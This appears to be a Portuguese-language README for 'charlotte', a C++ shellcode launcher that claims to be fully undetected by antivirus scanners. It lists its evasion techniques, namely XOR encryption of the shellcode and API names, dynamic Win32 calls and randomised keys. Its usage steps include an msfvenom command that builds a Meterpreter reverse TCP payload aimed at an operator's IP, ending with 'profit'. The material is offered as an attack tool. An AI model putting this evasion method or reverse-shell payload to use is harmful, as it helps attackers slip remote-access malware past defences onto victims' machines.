charlotte

c++ lançador de shellcode totalmente indetectado ;)

lançando isso para celebrar o nascimento do meu recém-nascido

descrição

13/05/2021:

1. lançador de shellcode em c++, totalmente indetectado 0/26 em 13 de Maio de 2021.
2. invocação dinâmica de funções da API win32
3. criptografia XOR do shellcode e nomes de funções
4. chaves XOR e variáveis aleatórias por execução
5. no Kali Linux, simplesmente 'apt-get install mingw-w64*' e é isso!

17/05/2021:

6. comprimento aleatório de strings e comprimento de chaves XOR

antiscan.me

uso

clone o repositório com git, gere seu arquivo de shellcode com o nome beacon.bin, e execute charlotte.py

exemplo:

1. git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
2. cd charlotte
3. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
4. python charlotte.py
5. profit

testado com msfvenom -p (mostrado no .gif POC abaixo) e também payload em formato raw do cobalt strike